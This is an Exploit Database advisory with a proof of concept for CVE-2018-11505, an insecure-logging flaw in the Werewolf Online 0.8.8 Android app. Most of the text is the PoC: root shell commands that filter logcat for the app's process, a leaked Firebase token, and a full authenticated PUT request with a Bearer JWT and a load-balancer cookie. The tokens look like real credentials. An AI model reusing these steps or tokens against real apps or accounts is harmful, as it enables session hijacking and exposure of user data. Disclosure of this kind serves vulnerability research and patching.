Werewolf Online 0.8.8 – Information Disclosure

Exploit Database
108 阅读

作者： ManhNho

日期： 2018-05-27
类别：
- local
平台：
- android
来源：https://www.exploit-db.com/exploits/44776/

# Exploit Title: Werewolf Online 0.8.8- Insecure Logging

# Date: 2018-05-24

# Software Link:

https://play.google.com/store/apps/details?id=com.werewolfapps.online

# Download Link:

https://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details

# Exploit Author: ManhNho

# Version: 0.8.8 Android App

# CVE: CVE-2018-11505

# Category: Mobile Apps

# Tested on: Android 4.4

---Description---

Many developers log information to the android log. Sometimes sensitive

data as well.

With output of logcat, Hacker can get "Firebase token" which used in PUT

request to /players/meAndCheckAppVersion

---PoC---

root@vbox86p:/ # ps | grep 'were'

u0_a729161205 810364 172268 ffffffff b765ea23 S

com.werewolfapps.online

root@vbox86p:/ # logcat | grep -i '9161'

I/ActivityManager(586): Start proc com.werewolfapps.online for activity

com.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072,

3003, 1028, 1015}

I/MultiDex( 9161): VM with version 1.6.0 does not have multidex support

I/MultiDex( 9161): Installing application

...

D/RNFirebaseMessaging( 9161): Firebase token:

dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8

D/RNFirebaseAuth( 9161): getToken/getIdToken

D/RNFirebaseAuth( 9161): getToken:onComplete:success

...

Request:

PUT /players/meAndCheckAppVersion HTTP/1.1

authorization: Bearer

eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw

Content-Type: application/json; charset=utf-8

Content-Length: 207

Host: api-core.werewolf-apps.com

Connection: close

Accept-Encoding: gzip, deflate

Cookie:

AWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3

User-Agent: okhttp/3.6.0

{"versionNumber":48,"platform":"android","fcmToken":"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8"}

---References---

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505

https://pastebin.com/NtPn3jB8